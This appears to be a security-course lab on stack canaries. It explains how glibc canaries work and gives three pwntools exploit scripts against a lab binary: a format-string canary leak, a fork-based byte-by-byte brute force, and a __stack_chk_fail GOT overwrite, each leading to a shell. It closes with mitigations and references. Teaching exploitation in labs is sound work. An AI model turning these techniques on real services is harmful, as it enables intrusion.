Stack Canary Lab

git clone https://github.com/TinkAnet/Stack-canary-lab.git

• Stack canaries are secret values placed in a function’s stack frame.

• They detect accidental or malicious overwrites of the return address.

• A canary is written to the stack at function entry and checked at exit.

• If unchanged, execution continues; if altered, the program aborts. This mechanism protects against classic stack-based buffer overflows.

• Compilers add canaries to functions with stack buffers or potential risk.
The function loads the canary into the stack at entry and checks it before return.

• If the value matches, execution continues; if not, a failure handler terminates the program.

• This protects the return path from tampering.

• Stack canaries are a simple and widely used mitigation.

• They don’t stop memory corruption but block classic return-address overwrites.

• Since they appear in most binaries, understanding their structure and checks is essential.

• They form the foundation for learning more advanced exploitation and defenses.

• On x86-64 Linux with glibc, the per-thread master canary (__stack_chk_guard) is stored in thread-local storage at FS:0x28.

• For every protected function, the compiler emits prologue code like:
• mov %fs:0x28, rax : load the guard, then copy it onto the stack.

• In GDB, $fs_base is the base of the FS segment, so

• $fs_base + 0x28 points to the same __stack_chk_guard.

• When a program is built without Full RELRO, the GOT remains writable.

• An attacker with an arbitrary write primitive can overwrite the GOT entry for _stack_chk_fail.

• The attacker redirects this entry to any ROP gadget or malicious function.

• When the canary check fails, the program calls _stack_chk_fail.

Lab

Tooling Overview：Essential tools for exploit development and analysis

Canary Master Lab — Setup

Lab Overview and Protection Mechanisms

• Stack Canary

• NX (No-Execute)

• Partial RELRO (GOT writable)

Understanding the Target

Lab Overview and Protection Mechanisms

Case 1: Identifying the Vulnerability

def case1_exp():
    p.recvuntil("> ")
    p.sendline(str(1))
    p.recvuntil("Tell me something > ")
    p.send(b'%39$p')
    p.recvuntil("0x")
    canary = int(p.recv(16),16)
    li(hex(canary))
    p.recvuntil("please get shell")
    payload = b'a'*0x108 + p64(canary)*2 + p64(0x4012f6)
    print(f"Payload:{payload}")
    p.send(payload)

Case 2: Turning fork() into a Canary Brute-Force Oracle

• Each attempt is handled in a child process created by fork().

• fork() copies the parent's entire memory, so all children share the same stack canary value.

• When our payload corrupts the canary in the child:
• The child prints "stack smashing detected" and exits.
• The parent remains alive and spawns a new child with the same canary.

• This gives us unlimited attempts against one fixed, unknown canary — perfect for brute-forcing.

• We carefully control input length so only the first N bytes of the canary are overwritten:
• Wrong guess → stack-smashing message
• Correct guess → no crash

• Since a 64-bit canary's lowest byte is always \x00, we brute-force the remaining 7 bytes one by one.

Case 2: Canary Brute-Force Strategy

def case2_exp():
    p.recvuntil(b"> ")
    p.sendline(str(2))
    def brute1bit() :
        global known
        for i in range(256):
            payload = 0x108 * b'a'
            payload += known
            payload += bytes([i])
            print(f"current payload:{payload},known: {known}, trying byte: {hex(i)}")
            p.sendafter('Please start your challenge\n', payload)
            try:
                info = p.recvuntil(b'\n')
                if b"*** stack smashing detected ***" in info :
                    p.send(b'n\n')
                    continue
                else :
                    known += bytes([i])
                    sleep(3)
                    break
            except:
                li(hex('wrong'))
                break
    def brute_canary():
        global known
        known = b""
        known += b'\x00'
        for i in range(7):
            brute1bit()          
            if i != 6 :
                p.send(b'n\n')
                p.recvuntil(b"> ")
                p.sendline(str(2))
    brute_canary()
    canary = u64(known)
    li(hex(canary))
    payload =b"a"*0x108+p64(canary)*2+p64(0x4012f6)
    print(f"Final payload:{payload}")
    pause()
    p.send(payload)

• Canary properties:
• 8 bytes total
• Lowest byte is always \x00
• Remaining 7 bytes must be brute-forced

• Brute-force mechanism:
• Control input length to overwrite only the first N bytes of the canary
• Test each byte from 0x00 to 0xFF:
• Crash → guess is wrong
• No crash → byte is correct

Case 2: Completing the Exploit

1. After recovering all 8 bytes of canary, rebuild the full overflow payload

2. Overwrite return address with backdoor address

3. Child does not crash anymore , shell is returned

Case 3: Arbitrary Write and GOT Hijack

• Partial RELRO, GOT is writable

• The “Write Low Memory” case lets us write 8 bytes to global_buffer + offset with no bounds or sign check, arbitrary write primitive.

offset

= target - base

= &__stack_chk_fail@got.plt - &global_buffer

= 0x404028 - 0x4040c0

=-152 (bytes)

def case3_exp():
    p.recvuntil("> ")
    p.sendline(str(3))
    p.recvuntil("Please decide where you want to write the data")
    p.sendline(str(-152))
    p.recvuntil("Please enter the data")
    payload = p64(0x4012f6)
    p.send(payload)
    p.recvuntil("Please enter the data again")
    p.send(b'a'*0x110)

Mitigation  –  case 1

Mitigations - case2

Mitigation - case3

• CPI treats GOT entries as code pointers.

• CPI moves all code pointers—including GOT entries—into a protected "safe region" that attacker-controlled memory writes cannot modify.

• Any code pointer update must go through CPI's runtime, which performs integrity checks to ensure the write is legitimate.

• Even if an attacker achieves arbitrary write and knows the GOT entry address, the write cannot reach the actual code pointer in the safe region. This prevents GOT-overwrite–based control-flow hijacking.

Reference

1. Cowan, C., Wagle, P., Pu, C., Beattie, S., & Walpole, J. (1998). StackGuard: Automatic adaptive detection and prevention of buffer-overflow attacks. Proceedings of the 7th USENIX Security Symposium.

2. Etoh, H., & Yoda, K. (2000). Protecting from stack-smashing attacks. IBM Research Report (ProPolice / GCC Stack-Smashing Protector).

3. Erickson, J. (2008). Hacking: The Art of Exploitation (2nd ed.). No Starch Press.

4. Gallopsled team. pwntools: CTF Framework and Exploit Development Library. Official pwntools documentation and examples.

5. pwndbg contributors. pwndbg: A GDB plugin for exploit development and reverse engineering. Project documentation and GitHub repository.

6. Drepper, U. (2002). How To Write Shared Libraries.